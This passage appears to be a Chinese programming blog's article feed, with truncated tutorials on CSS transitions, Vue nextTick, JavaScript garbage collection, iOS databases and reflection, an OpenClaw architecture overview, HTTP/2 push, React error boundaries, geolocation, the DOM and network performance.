语法：transition: property duration timing-function delay;

值	描述
transition-property	规定设置过渡效果的 CSS 属性的名称
transition-duration	规定完成过渡效果需要多少秒或毫秒
transition-timing-function	规定速度效果的速度曲线
transition-delay	定义过渡效果何时开始

我发现简写时候的顺序并不一定就是写死的，经过测试在chrome上只要delay在duration后面即可。当然按照标准写是最好的。

Demo

<!DOCTYPE html>
<html lang="en">
<head>
 <title>transition</title>
 <style>
 #box {
 height: 100px;
 width: 100px;
 background: green;
 transition: transform 1s ease-in 1s;
 }

 #box:hover {
 transform: rotate(180deg) scale(.5, .5);
 }
 </style>
</head>
<body>
 <div id="box"></div>
</body>
</html>

效果

$nextTick

Sat, 05 Oct 2024 00:00:00 +0800

nextTick 是 Vue 的一个核心实现，$nextTick方法将回调延迟到下次DOM更新循环之后执行。Vue 的 nextTick 其本质是对 JavaScript 执行原理 EventLoop 的一种应用。

nextTick 的核心是利用了如 Promise 、MutationObserver、setImmediate、setTimeout的原生 JavaScript 方法来模拟对应的微/宏任务的实现，本质是为了利用 JavaScript 的这些异步回调任务队列来实现 Vue 框架中自己的异步回调队列

前置知识 - js事件循环

JS 运行机制

JS 执行是单线程的，基于事件循环。事件循环大致分为以下步骤：

所有同步任务都在主线程上执行，形成一个执行栈。
异步任务放进任务队列，异步任务分为宏任务和微任务
执行栈所有同步任务执行完成，就会执行任务队列。对应的异步任务，结束等待状态，进入执行栈，开始执行。
主线程不断重复上面的第三步。

主线程的执行过程就是一个 tick，而所有的异步结果都是通过 “任务队列” 来调度。消息队列中存放的是一个个的任务（task）。 task 分为两大类，分别是 macro task 和 micro task，并且每个 macro task(宏任务) 结束后，都要清空所有的 micro task(微任务)。

如图所示

for (macroTask of macroTaskQueue) {
 // 执行宏任务
 handleMacroTask();

 // 执行所有微任务
 for (microTask of microTaskQueue) {
 handleMicroTask(microTask);
 }
}

宏任务： script、setTimeout、setInterval、Node中的setImmediate 等
微任务： Promise.then、MutationObserver、Node 中的 Process.nextTick等

数组扩展

Wed, 02 Oct 2024 00:00:00 +0800

ES6（ECMAScript 2015）为JavaScript数组引入了多项扩展功能，这些功能不仅简化了数组操作，还提高了代码的可读性和效率。本文将详细介绍ES6数组扩展的主要功能和用法。

一、扩展运算符（…）

扩展运算符可以用于数组的赋值、合并、解构赋值以及将字符串转为数组。

赋值数组：

let arr1 = [100, 200, 300, [500]];
let arr2 = [...arr1]; // 浅拷贝
console.log(arr2 == arr1); // false
arr1[0] = 400;
console.log(arr2); // 不受影响
arr1[3][0] = 600;
console.log(arr2); // 受影响（只拷贝了一层）

合并数组：

console.log([...[1, 2, 3], ...[4, 5, 6]]); // [1, 2, 3, 4, 5, 6]

解构赋值：

let [a, ...list] = [1, ...["a", "b"]];
console.log(a); // 1
console.log(list); // ["a", "b"]

将字符串转为数组：

console.log([..."str"]); // ["s", "t", "r"]

二、Array.from()

Array.from()方法用于将类数组对象或可迭代对象转换为真正的数组。

let arrLike = {
 "0": "内容",
 "1": "内容2",
 "2": "内容3",
 length: 3
};
console.log(Array.from(arrLike)); // ["内容", "内容2", "内容3"]

此外，Array.from()还可以接受一个回调函数，用于对数组中的每个元素进行处理。

let arr = Array.from({ length: 2 }, () => "jack");
console.log(arr); // ["jack", "jack"]

三、Array.of()

Array.of()方法用于将一组值转换为数组，与Array构造函数的行为不同，Array.of()不会把一个参数作为数组的长度。

垃圾回收

Tue, 01 Oct 2024 00:00:00 +0800

写在前面

我们知道垃圾回收机制是引擎来做的，JS引擎有很多种（各个浏览器都不同），其垃圾回收机制在一些细节及优化上略有不同，本文我们以一些通用的回收算法作为切入，再由 V8 引擎发展至今对该机制的优化为例（为什么以 V8 为例？因为它市场占有率大 😄 ），一步一步深入来助我们了解垃圾回收机制，因为只有真正了解垃圾回收机制，后面才能理解内存泄漏的问题以及手动预防和优化

JavaScript 是门魅力无限的语言，关于它的 GC（垃圾回收）方面，你了解多少呢？想来大部分人是因为面试才去看一些面试题从而了解的垃圾回收，那在正式开始之前，给大家列几个小问题，大家可以先想一下答案，带着问题及答案再去看文章，最后读完此文如果你的答案可以优化，即有收获

什么是垃圾回收机制？
垃圾是怎样产生的？
为什么要进行垃圾回收？
垃圾回收是怎样进行的？
V8 引擎对垃圾回收进行了哪些优化？

当然，我们可不仅仅是为了面试，其目的是一次性彻底搞懂 GC！

GC是什么

GC 即 Garbage Collection ，程序工作过程中会产生很多 垃圾，这些垃圾是程序不用的内存或者是之前用过了，以后不会再用的内存空间，而 GC 就是负责回收垃圾的，因为他工作在引擎内部，所以对于我们前端来说，GC 过程是相对比较无感的，这一套引擎执行而对我们又相对无感的操作也就是常说的 垃圾回收机制 了

当然也不是所有语言都有 GC，一般的高级语言里面会自带 GC，比如 Java、Python、JavaScript 等，也有无 GC 的语言，比如 C、C++ 等，那这种就需要我们程序员手动管理内存了，相对比较麻烦

垃圾产生&为何回收

我们知道写代码时创建一个基本类型、对象、函数……都是需要占用内存的，但是我们并不关注这些，因为这是引擎为我们分配的，我们不需要显式手动的去分配内存

但是，你有没有想过，当我们不再需要某个东西时会发生什么？JavaScript 引擎又是如何发现并清理它的呢？

我们举个简单的例子

let test = {
 name: "isboyjc"
};
test = [1,2,3,4,5]

如上所示，我们假设它是一个完整的程序代码

我们知道 JavaScript 的引用数据类型是保存在堆内存中的，然后在栈内存中保存一个对堆内存中实际对象的引用，所以，JavaScript 中对引用数据类型的操作都是操作对象的引用而不是实际的对象。可以简单理解为，栈内存中保存了一个地址，这个地址和堆内存中的实际值是相关的

那上面代码首先我们声明了一个变量 test，它引用了对象 {name: 'isboyjc'}，接着我们把这个变量重新赋值了一个数组对象，也就变成了该变量引用了一个数组，那么之前的对象引用关系就没有了，如下图

没有了引用关系，也就是无用的对象，这个时候假如任由它搁置，一个两个还好，多了的话内存也会受不了，所以就需要被清理（回收）

用官方一点的话说，程序的运行需要内存，只要程序提出要求，操作系统或者运行时就必须提供内存，那么对于持续运行的服务进程，必须要及时释放内存，否则，内存占用越来越高，轻则影响系统性能，重则就会导致进程崩溃

垃圾回收策略

在 JavaScript 内存管理中有一个概念叫做 可达性，就是那些以某种方式可访问或者说可用的值，它们被保证存储在内存中，反之不可访问则需回收

至于如何回收，其实就是怎样发现这些不可达的对象（垃圾）它并给予清理的问题， JavaScript 垃圾回收机制的原理说白了也就是定期找出那些不再用到的内存（变量），然后释放其内存

iOS中的数据库

Sat, 02 May 2026 22:32:27 +0800

数据持久化是移动端开发的核心能力之一。iOS提供了从轻量级KV存储到完整关系数据库的多层次方案。本文将从底层存储原理出发，系统性地梳理iOS中各类数据库与持久化技术的设计思想、实现机制和适用场景。

一、iOS数据持久化方案全景

iOS中常见的数据持久化方案，按数据复杂度和使用场景可分为以下几层：

graph TD
subgraph KV["轻量级KV存储"]
A["UserDefaults
plist序列化"]
B["Keychain
加密存储"]
C["MMKV
mmap + protobuf"]
end
subgraph FILE["文件存储"]
D["plist / JSON"]
E["NSCoding / Codable
归档"]
end
subgraph SQL["关系数据库"]
F["SQLite
C语言API"]
G["FMDB
OC封装"]
H["WCDB
ORM + 加密"]
end
subgraph ORM["ORM框架"]
I["Core Data
Apple官方"]
J["Realm
零拷贝"]
K["SwiftData
Swift原生"]
end
KV --> |"数据结构更复杂"| FILE
FILE --> |"需要结构化查询"| SQL
SQL --> |"需要对象映射"| ORM

方案	数据模型	查询能力	线程安全	加密	适用场景
UserDefaults	KV (plist类型)	Key查找	线程安全	无	用户偏好、简单配置
Keychain	KV (Data)	Key查找	线程安全	系统加密	密码、Token、证书
MMKV	KV (protobuf)	Key查找	线程安全	可选AES	高频读写的KV数据
plist/JSON文件	字典/数组	无	不安全	无	静态配置、缓存
NSCoding/Codable	对象图	无	不安全	无	对象序列化
SQLite	关系表	SQL	需手动处理	可选(SQLCipher)	结构化数据、复杂查询
FMDB	关系表	SQL	FMDatabaseQueue	可选	SQLite的OC封装
WCDB	关系表+ORM	SQL+ORM	自动管理	内置	高性能结构化存储
Core Data	对象图	NSPredicate	NSManagedObjectContext	无	复杂对象关系
Realm	对象	类型安全查询	对象冻结	可选AES	高性能对象存储
SwiftData	Swift对象	#Predicate宏	ModelContext	无	Swift原生数据持久化

二、轻量级KV存储

2.1 UserDefaults

UserDefaults是iOS最常用的轻量级存储方案，底层将数据以plist格式序列化到磁盘。

OpenClaw 源码导读（一）：架构总览 — 为"单个主人"而设计的 AI Gateway

Sat, 02 May 2026 22:32:27 +0800

2025 年 11 月，Peter Steinberger（PSPDFKit 创始人、前著名 iOS 社区人物）把自己折腾出来的个人 AI 助手 Molty 开源为 OpenClaw。短短几个月，仓库吃到 35 万+ star、93 个 release、360 多个 contributor，核心代码量在 TypeScript/Swift/Kotlin/Go/Python 之间横跨 40 多万行。它和 Claude Code、Codex CLI 乍看都是"跑在本地的 CLI Agent"，但设计哲学完全不同——Claude Code 是一个编程助手，OpenClaw 是一个长在你设备上的私人秘书：它挂在 WhatsApp/Telegram/iMessage/微信的 IM 客户端后面，能自己发消息、自己开浏览器、自己调用 iOS/Android 上的摄像头和麦克风。

本文是 OpenClaw 源码导读系列的第一篇，目标是把整个项目的"地图"摊开。先讲清楚它要解决什么问题、在怎样的信任模型下运行，再把仓库 100 多个顶层模块拎出来分类，最后给出后续系列文章的导航。

一、它到底是什么

1. 一句话定义

OpenClaw 官方给自己的定位是 “Personal AI Assistant. Any OS. Any Platform. The lobster way.” 翻译过来就是：一个在你自己设备上运行、从你自己现有的聊天工具里和你对话的个人 AI 助手。

这个定位里藏着三个关键差异：

Personal：它不是多租户 SaaS，也不是团队协作工具，而是单一主人的私人助手。整个信任模型就是为"只有一个 operator"优化的。
Any OS / Any Platform：Gateway 是 Node 进程，可以跑在 macOS/Linux/Windows(WSL2)、甚至 Fly.io/Docker/NAS 上；客户端包含 iOS/Android/macOS 原生 App，还有 Web Dashboard。
The lobster way：作者把它拟人化成一只太空龙虾 Molty，这是一个品牌/吉祥物层面的设计，但也反映了项目的"玩心"。

2. 和 Claude Code 对比：两个相似却完全不同的 CLI Agent

由于作者 Steipete 本身是 Claude Code 的重度用户和 Anthropic 的合作者，社区最常问的问题就是"和 Claude Code 有啥区别"。这里先画一张对比表：

http2.0 服务端推送

Mon, 28 Jul 2025 00:00:00 +0800

HTTP/2.0 的 服务端推送（Server Push） 是它相较于 HTTP/1.x 引入的一项重要功能，旨在优化网页加载性能，尤其是首次加载时资源依赖的获取效率。

一、什么是服务端推送？

HTTP/2 Server Push 允许服务器主动将资源“推送”给客户端，而不是等待客户端明确请求。这在某些场景下可以预加载依赖资源、减少请求延迟，提升页面的首屏加载速度。

例如：客户端请求了 HTML 页面，服务器可以在返回 HTML 的同时，主动推送页面所需的 CSS/JS 资源。

二、服务端推送的工作原理

流程概览：

浏览器发送主资源请求（如 HTML）；
服务器识别该请求需要哪些依赖资源（如 CSS、JS）；
服务器将这些资源 打包为 PUSH_PROMISE 帧 发送给客户端，声明它即将发送的资源；
客户端接收到 PUSH_PROMISE 后，会缓存该资源的响应；
当浏览器稍后真正需要这个资源时，不会再发起真实请求，而是从缓存中获取推送的内容；
避免了请求的 RTT 往返延迟。

技术细节：

PUSH_PROMISE 是 HTTP/2 中新增的帧类型，用于声明服务器准备推送的资源；
所有推送的资源都绑定到一个主请求流（主页面），不能独立存在；
客户端可选择 拒绝（RST_STREAM） 不想要的推送资源；
推送资源会根据缓存策略存储在浏览器的缓存中，不一定立即使用。

三、实际示例（Nginx + Link Header）

在使用 Nginx 部署 HTTP/2 服务时，可以通过 Link 响应头启用 Server Push：

location = /index.html {
 http2_push /style.css;
 http2_push /main.js;
}

或者使用 Link 响应头方式：

错误边界

Tue, 17 Dec 2024 00:00:00 +0800

人无完人，代码总会出错，出错并不可怕，关键是怎么处理。

我就想问问大家react的应用的错误怎么捕捉呢？这个时候：

小白+++：怎么处理？
小白++： ErrorBoundary
小白+： ErrorBoundary, try catch
小黑#: ErrorBoundary, try catch, window.onerror
小黑##: 这个是个严肃的问题，我知道N种处理方式，你有什么更好的方案?

ErrorBoundary

EerrorBoundary是16版本出来的，有人问那我的15版本呢，我不听我不听，反正我用16，当然15有unstable_handleError。

关于ErrorBoundary官网介绍比较详细，这个不是重点，重点是他能捕捉哪些异常。

子组件的渲染
生命周期函数
构造函数

class ErrorBoundary extends React.Component {
 constructor(props) {
 super(props);
 this.state = { hasError: false };
 }

 componentDidCatch(error, info) {
 // Display fallback UI
 this.setState({ hasError: true });
 // You can also log the error to an error reporting service
 logErrorToMyService(error, info);
 }

 render() {
 if (this.state.hasError) {
 // You can render any custom fallback UI
 return <h1>Something went wrong.</h1>;
 }
 return this.props.children;
 }
}

<ErrorBoundary>
 <MyWidget />
</ErrorBoundary>

开源世界就是好，早有大神封装了react-error-boundary 这种优秀的库。
你只需要关心出现错误后需要关心什么，还以来个 Reset, 完美。

地理定位

Wed, 16 Oct 2024 00:00:00 +0800

HTML5 提供了地理定位（Geolocation）API，用于获取用户的当前位置。通过这一功能，网页可以访问用户的地理位置信息，进而实现如地图服务、定位推荐、基于位置的广告等功能。该 API 主要依赖设备的 GPS、Wi-Fi、IP 地址、蓝牙等信息来确定位置。

Geolocation API 的基本用法

主要通过 navigator.geolocation 对象来访问地理位置信息，提供了以下三个方法：

getCurrentPosition(success, error, options) 获取用户的当前位置，一次性返回位置信息。
watchPosition(success, error, options) 持续监听用户的位置变化，并且实时返回新的位置信息。
clearWatch(id) 取消 watchPosition 监听的位置变化。

方法的参数说明

success(position)：成功获取位置时的回调函数。position 对象包含位置信息，如经度、纬度、速度等。
error(error)：可选参数，获取位置失败时的回调函数。error 对象包含错误信息，如用户拒绝提供位置或获取超时等。
options：可选参数，包含配置选项，影响获取位置的精度、超时时间等。

使用示例

if (navigator.geolocation) {
 navigator.geolocation.getCurrentPosition(
 (position) => {
 const latitude = position.coords.latitude;
 const longitude = position.coords.longitude;
 console.log(`Latitude: ${latitude}, Longitude: ${longitude}`);
 },
 (error) => {
 console.error(`Error Code = ${error.code}: ${error.message}`);
 },
 { enableHighAccuracy: true, timeout: 5000, maximumAge: 0 }
 );
} else {
 console.log("Geolocation is not supported by this browser.");
}

获取到的 `position` 对象

position 对象包含用户的位置信息，主要属性包括：

transition

Tue, 08 Oct 2024 00:00:00 +0800

CSS transition 提供了一种在更改 CSS 属性时控制动画速度的方法。其可以让属性变化成为一个持续一段时间的，而不是立即生效的过程。

比如，将一个元素的颜色从白色改为黑色，通常这个改变是立即生效的，使用 CSS 过渡后该元素的颜色将按照一定的曲线速率从白色变化为黑色。这个过程可以自定义。

通常将两个状态之间的过渡称为隐式过渡，因为开始与结束之间的状态由浏览器决定。

CSS 过渡可以决定哪些属性发生动画效果（通过明确地列出这些属性），何时开始（通过设置延时），持续多久（通过设置时长）以及如何动画（通过定义缓动函数，如线性或先快后慢）。比如在不同的伪元素之间切换，像是 :hover，:active 或者通过 JavaScript 实现的状态变化。

开发者可以定义哪一属性需以何种方式用于动画，由此允许创造复杂的过渡。然而因为为某些属性赋予动画无意义，所以这些属性无动画性。

备注： auto 值常常较复杂，规范指出不要在它上动画。一些用户代理，比如基于 Gecko 的，实现了这个需求；然而另外一些用户代理，比如基于 WebKit 的，没有这么严格限制。在 auto 上使用动画，取决于浏览器及其版本，可能会导致非预期结果，应当避免使用。

属性

以下 transition 属性，若有多个属性值，则以,（逗号）衔接。

transition-property

指定哪个或哪些 CSS 属性名称用于过渡。只有指定的属性才会在过渡中发生动画，其他属性仍如通常那样瞬间变化。如果指定简写属性（比如 background），那么其完整版中所有可以动画的属性都会被应用过渡。

取值如下：

none：没有过渡动画。
all（初始值）：所有可被动画的属性都表现出过渡动画。
<custom-ident>：属性名称。由小写字母 a 到 z，数字 0 到 9，下划线（_）和破折号（-）。第一个不能为非破折号字符或数字。同时，不能以两个破折号开头。通俗来说就是可以是自定义名称也可以是css规范中的属性名。

transition-duration

表示过渡属性从旧的值转变到新的值所需要的时间。你可以为所有属性指定一个值，或者指定多个值，或者为每个属性指定不同的时长。

该属性值以秒（s）或毫秒（ms）为单位指定过渡动画所需的时间。默认值为 0s，表示不会呈现过渡动画，属性会瞬间完成转变。不接受负值。

可以指定多个时长，每个时长会被应用到由 transition-property 指定的对应属性上。

如果某个属性的值列表小于 transition-property 的属性值数量，那么时长列表会重复，重复规则是按照现有值进行重复。例如：

如3s，则重复多个3s

div {
 transition-property: opacity, left, top, height;
 transition-duration: 3s;
}

将视为：

div {
 transition-property: opacity, left, top, height;
 transition-duration: 3s, 3s, 3s, 3s;
}

如果是3s，5s，则会重复多个3s，5s。

div {
 transition-property: opacity, left, top, height;
 transition-duration: 3s, 5s;
}

将视为：

异步组件

Sat, 05 Oct 2024 00:00:00 +0800

当我们的项目达到一定的规模时，对于某些组件来说，我们并不希望一开始全部加载，而是需要的时候进行加载；这样的做得目的可以很好的提高用户体验。

为了实现这个功能，Vue3中为我们提供了一个方法，即defineAsyncComponent，这个方法可以传递两种类型的参数，分别是函数类型和对象类型，接下来我们分别学习。

传递工厂函数作为参数

defineAsyncComponent方法接收一个工厂函数是它的基本用法，这个工厂函数必须返回一个Promise，Promise的resolve应该返回一个组件。

我们这里以Vue Cli创建的项目为例，这里我稍微做了一下修改，将头部的图片拆分为一个组件，代码如下：

<template>
 <logo-img />
 <hello-world msg="Welcome to Your Vue.js App" />
</template>

<script setup>
import LogoImg from './components/LogoImg.vue'
import HelloWorld from './components/HelloWorld.vue'
</script>

现在我们就将<hello-world>组件修改为异步组件，示例代码如下：

<template>
 <logo-img />
 <hello-world msg="Welcome to Your Vue.js App" />
</template>

<script setup>
import { defineAsyncComponent } from 'vue'
import LogoImg from './components/LogoImg.vue'

// 简单用法
const HelloWorld = defineAsyncComponent(() =>
 import('./components/HelloWorld.vue'),
)
</script>

我们这里为了看到效果，将import延迟执行，示例代码如下：

<script setup>
import { defineAsyncComponent } from 'vue'
import LogoImg from './components/LogoImg.vue'

// 定义一个耗时执行的函数，t 表示延迟的时间， callback 表示需要执行的函数，可选
const time = (t, callback = () => {}) => {
 return new Promise(resolve => {
 setTimeout(() => {
 callback()
 resolve()
 }, t)
 })
}
// 定义异步组件，这里这样写是为了查看效果
const HelloWorld = defineAsyncComponent(() => {
 return new Promise((resolve, reject) => {
 ;(async function () {
 try {
 await time(2000)
 const res = await import('./components/HelloWorld.vue')
 resolve(res)
 } catch (error) {
 reject(error)
 }
 })()
 })
})
</script>

代码运行结果如下所示：

尾部优化

Wed, 02 Oct 2024 00:00:00 +0800

ES6 引入了尾调用优化（Tail Call Optimization，TCO）的规范，但它的实现依赖于 JavaScript 引擎的支持（比如 V8 并未开启 TCO），所以这是一个理论上重要、实践中需要谨慎对待的考点。

一、什么是尾调用（Tail Call）？

尾调用是指：

函数的最后一步是调用另一个函数，并直接返回这个函数的执行结果。

例如：

function foo() {
 return bar(); // bar 是 foo 的尾调用
}

尾调用意味着：

当前函数的调用栈帧不需要再做任何事。
调用栈可以复用，不需要为当前函数保留栈帧，从而节省内存。

二、什么是尾调用优化（TCO）？

尾调用优化的目标是：

当一个函数的最后一步是调用另一个函数，JS 引擎可以不再保留当前函数的调用记录，直接跳转执行被调用函数，复用当前栈帧。

也就是说：

不会形成函数调用嵌套的“栈帧链”；
可以避免函数递归导致的栈溢出（stack overflow）。

三、尾调用成立的条件

必须同时满足以下三个条件：

条件	说明
1. 在严格模式下	TCO 只在 strict mode 下才可能被引擎开启
2. 是函数的最后一步调用	return 后没有任何操作
3. 返回调用结果	return bar(x) 形式，不能是 `bar(x); return y`

✅ 尾调用示例：

'use strict';
function f(x) {
 return g(x); // 最后一步是返回 g(x)，符合尾调用优化条件
}

❌ 非尾调用：

function f(x) {
 const y = g(x);
 return y; // 不是直接返回函数调用
}

四、尾调用优化应用场景：尾递归

递归调用时，若能做到尾调用，就能避免栈溢出。

DOM操作

Tue, 01 Oct 2024 00:00:00 +0800

1、DOM基本概念

1.1、DOM、DOM节点与DOM树

DOM：(Document Object Model, 文档对象模型)是文档内容（HTML或XML）在编程语言上的抽象模型，它建模了文档的内容和结构，并提供给编程语言一套完整的操纵文档的API。

本文面向HTML，不讨论XML等文档，下文中“文档===HTML”。

DOM节点：简称节点（Node），是DOM模型的组成单元。HTML的基本单元是标签，节点常常与标签对应，但连续的文本内容也是一个文本标签。
DOM树：DOM树是DOM结构的表示形式，DOM把文档的每个节点根据父子关系连接，形成DOM树。

1.2、节点、节点类型和节点类

节点：前面提过，节点是DOM树的组成单元。在JS看来，一个节点就是JS对象。下面用node表示任意的节点。
节点类型：并非所有的节点都是一样的，DOM规定文档中有12种节点类型，分别用常量1 ~ 12（有与之对应的常量名称Node.XXX_NODE）表示，可以通过node.nodeType属性获取节点的类型常量。现在，有些类型的节点已经弃用了，常见到的只有几种类型的节点，包括：
元素节点: 类型常量为Node.ELEMENT_NODE或1。最常见的一类节点，对应文档中的元素。大部分DOM操作都是在元素节点层次的。
文本节点：类型常量为Node.TEXT_NODE或2。对应文档中的文本，任何文档内容都有对应的文本节点，即使空格和换行符。

空格和换行不会对页面内容产生影响，但它们确实以文本节点的形式存在于DOM树中。

Document节点：类型常量为Node.DOCUMENT_NODE或9。它不对应文档的内容，而是作为文档的入口节点，每个文档都有且仅有一个入口，因为这种独特性，赋予一个特殊的变量名称document。
注释节点：类型常量为Node.COMMENT_NODE或8。它对应文档中的注释标签，文档的注释内容也是可读取和修改的。
节点类：DOM内置许多节点类，类之间存在继承关系，形成一套节点类框架。每个节点对象都属于节点类，拥有该类和其父类的方法与属性，这使得操作节点十分简单。节点类框架的一部分大概如图：这些节点上有丰富的属性和方法，是继承的结果，可以看到，一个HTML标签元素至少有四层的继承关系。以<a>标签为例，它属于HTMLAnchorElement类，获得了a.target，a.download等属性，接着继承了HTMLElement类上的title, hidden等属性和click()等方法，又从Element类继承了tagName, className等属性和getAttribute(), setAttribute()等方法，再从Node类继承了nodeType(前面说过的节点类型), appenChild(), removeChild()等方法，最后从EventTarget类中继承了事件相关的属性和方法。

不要混淆节点类型和节点类这两个概念。前者是一个生活中的类别，后者是编程意义上的类。节点对象的nodeType属性表示了它的类型，而节点类是该节点的从属的类。因为Dode是一个抽象类，所以，如果知道了某个节点从属的类，我们就知道它的节点类型。

区分节点与元素节点。我们经常关心元素节点（简称元素），因为这是一类最常使用的节点，但是并非所有节点都是元素。

1.3、探索DOM结构

前面的说法太抽象了，让我们用实际的例子看看文档、DOM树与节点的关系。

Live DOM Viewer是一个可以根据HTML文档实时查看DOM树的网站。你把下面的例子复制过去，或者自己去探索。

一个简单的HTML文档：

<!DOCTYPE HTML>
<html>
<body>
 A simple text.
 <ol title="this is a title">
 <li>czpcalm</li>
 <!-- comment -->
 </ol>
</body>
</html>

它对应的DOM图（颜色区分了节点类型）：

留意这个图，你要注意几点：

总共有4种类型的节点，分别是标签节点（红色）,文本节点（灰色），注释节点(黄色)和DOCTYPE节点（紫色）。
文档没有<head>标签却出现了HEAD节点。这是因为HTML必然存在<html>，<head>，<body>标签，不存在时会自动补上。顺便一提，当出现<table>标签时，也一定会有<tbody>标签。
文档中的文本都会形成文本节点的内容，包括空格␣和换行↵。第一,单独的空格和换行都会形成对应的文本节点；第二，有内容的文本节点的值包含前导和后继的空白。

不是说HTML中的空白字符都被忽略吗？怎么这里又说全都是有效的字符？

在从文档解析生成DOM树的过程中，HTML中的任何字符都是有效的；不过，在接下去的页面渲染的过程中，空白内容被忽略。所以从文档到页面的整过过程中，空白确实被忽略了。

理解DOM树中的父子关系对应文档中的包含（嵌套）关系。一个极佳的类比是文件树，把元素看做文件夹，文本看做文件，文件夹中可以存放文件和新的文件夹，然后一层层深入下去，DOM树也是如此。

几个原则可以帮我们快速理解这个DOM树的构建：

iOS反射

Sat, 02 May 2026 22:32:27 +0800

反射（Reflection）是指程序在运行时检查、访问和修改自身结构（类型、属性、方法等）的能力。在 iOS 开发中，Objective-C 和 Swift 分别提供了不同层次的反射支持：OC 依赖 Runtime 提供完整的动态反射能力，Swift 则通过 Mirror 提供只读的内省能力。

Objective-C 的反射能力

Objective-C 的反射能力完全建立在 Runtime 之上。Runtime 在运行时维护了完整的类型元数据（类对象、元类对象、方法列表、属性列表、成员变量列表、协议列表等），并通过一系列 C 函数 API 暴露给开发者，使得程序可以在运行时动态地查询和修改几乎所有类型信息。

关于 Runtime 的消息发送、消息转发、Method Swizzling、关联对象等核心能力，请参考 runtime。本节聚焦于 Runtime 中与"反射"直接相关的能力——即运行时的类型内省和动态操作。

类型内省

类型内省（Introspection）是反射中最基础的能力——在运行时查询一个对象的类型信息。

NSObject 提供的内省方法

NSObject 定义了一组内省方法，这些方法底层都依赖 Runtime 的 isa 指针和类型元数据来实现：

id obj = [[NSMutableArray alloc] init];

// 类型判断
[obj isKindOfClass:[NSArray class]]; // YES — 判断是否是某个类或其子类的实例
[obj isMemberOfClass:[NSMutableArray class]]; // YES — 判断是否是某个类的直接实例
[obj conformsToProtocol:@protocol(NSCoding)]; // YES — 判断是否遵循某个协议

// 方法响应检查
[obj respondsToSelector:@selector(addObject:)]; // YES — 判断是否能响应某个消息

// 获取类型信息
NSStringFromClass([obj class]); // @"__NSArrayM"（真实的私有子类名）
NSStringFromSelector(@selector(count)); // @"count"

需要注意 isKindOfClass: 和 isMemberOfClass: 的区别：前者沿继承链向上查找，后者只比较当前类。另外，[obj class] 返回的可能是私有子类（如类簇 NSArray 的实际类是 __NSArrayI 或 __NSArrayM），而 object_getClass(obj) 能获取真正的 isa 指向的类（KVO 场景下会是 NSKVONotifying_ 前缀的子类）。

网络性能优化

Mon, 28 Jul 2025 00:00:00 +0800

浏览器在加载页面时，大量的性能瓶颈集中在资源的请求、传输、解析与执行上。因此，网络层的性能优化主要目标是：减少请求次数、降低资源大小、缩短首屏时间、提升加载体验。

一、请求数量优化

1. 合理拆分和合并资源

按需加载（lazy loading / dynamic import）：不一次加载所有模块，只加载当前页面/功能所需资源。
资源合并（资源打包）：减少请求数量，如合并多个 CSS/JS 文件（现代工具也支持 HTTP2 下保留拆分）。
服务端渲染/预渲染：减轻首屏资源请求压力。

2. 使用缓存避免重复请求

使用浏览器缓存控制（Cache-Control、ETag、Last-Modified）；
对于不变资源，设置强缓存（immutable）；
对接口返回数据做缓存（前端缓存策略或 HTTP 层缓存）；
本地缓存，如 IndexedDB / LocalStorage 存储接口数据。

二、资源体积优化

1. 压缩与代码优化

启用 Gzip / Brotli 压缩静态资源（HTML、CSS、JS）；
压缩图像（WebP、AVIF）、字体、视频等媒体资源；
减少 polyfill 体积（如使用 core-js 按需引入）；
移除无用代码（Tree Shaking、CSS Purge、babel-plugin-transform-remove-console）；

2. 精简传输内容

请求接口时使用精简字段、分页、后端裁剪；
GraphQL 可按需返回字段，减少冗余数据传输；
降低 Cookie 和请求头大小，避免请求体负担。

三、加载顺序与优先级优化

1. 关键资源优先加载

使用 preload、prefetch、dns-prefetch 等 <link> 标签提示浏览器提前加载；
使用 Webpack 的资源预加载配置控制打包 chunk 优先级；
首屏资源内联（inline critical CSS）避免阻塞渲染。

2. 非关键资源延后加载

图片懒加载（loading="lazy"、IntersectionObserver）；
JS 异步加载（<script async|defer>）；
第三方 SDK、监控等可延迟初始化。

四、协议与传输层优化

1. 使用 HTTP/2 或 HTTP/3

多路复用，减少 TCP 连接数，提高并发请求效率；
头部压缩与服务器推送（HTTP/2 Push）；
HTTP/3 基于 QUIC，有更快的连接建立速度与更少的丢包重传。

2. 减少不必要的重定向

避免链式跳转；
减少使用 302/301 等中间状态跳转，优化首次加载路径。

五、安全策略与跨域优化

合理设置 CORS，减少 preflight 请求；
使用同源策略时避免冗余 OPTIONS 请求；
减少跨域请求带来的额外开销（如 DNS、TLS 握手等）。

六、CDN 与资源分发优化

使用 CDN 加速静态资源访问，减少物理距离造成的 RTT；
使用全局 CDN 覆盖，支持边缘缓存与智能调度；
配合版本号和 Hash 控制缓存刷新策略。

七、服务端协同优化

接口合并：多个小请求可由后端合并为一次大请求返回；
接口压缩与限流：避免无用数据占带宽；
优化接口响应结构与字段粒度；
为前端提供异步批量资源接口（如配置/字典项/用户信息等合并加载）；

八、实际指标与监控优化点

首字节时间（TTFB）优化；
首屏渲染时间（FCP、LCP）优化；
页面总加载时间（Fully Loaded）优化；
网络错误率（如资源 404、接口失败率）监控；
使用 Performance API、Web Vitals、Lighthouse 工具分析网络瓶颈。

要点总结

网络优化的本质是：更快、更少、更智能地请求资源；
从请求数量、资源大小、传输协议、加载优先级、缓存策略、CDN 分发等多个维度同时入手；
优化不是单一操作，而是持续评估、定位瓶颈、迭代调整的过程；
实际开发中建议结合 Chrome DevTools、Lighthouse、Performance API 等工具进行精细化分析与验证。

常见考点

前端“网络层面的性能优化”是高频面试考点，涵盖了从资源加载、缓存、连接管理，到协议选择等多个方向。面试时往往从“用户输入 URL 到页面加载”这条链路入手，考查在网络传输环节提升页面性能的能力。

react-router

Tue, 17 Dec 2024 00:00:00 +0800

写在前面：为什么要学习react-router底层源码? 为什么要弄明白整个路由流程？

学习react-router，有助于我们学习单页面应用(spa)路由跳转原理，让我们理解从history.push，到组件页面切换的全套流程，使我们在面试的时候不再为路由相关的问题发怵，废话不说，让我们开启深入react-router源码之旅吧。

一正确理解react-router

1 理解单页面应用

什么是单页面应用？

个人理解，单页面应用是使用一个html下，一次性加载js, css等资源，所有页面都在一个容器页面下，页面切换实质是组件的切换。

2 react-router初探，揭露路由原理面纱

①`react-router-dom`和`react-router`和`history`库三者什么关系

**history** 可以理解为react-router的核心，也是整个路由原理的核心，里面集成了popState,history.pushState等底层路由实现的原理方法，接下来我们会一一解释。

**react-router**可以理解为是**react-router-dom**的核心，里面封装了Router，Route，Switch等核心组件,实现了从路由的改变到组件的更新的核心功能,在我们的项目中只要一次性引入react-router-dom就可以了。

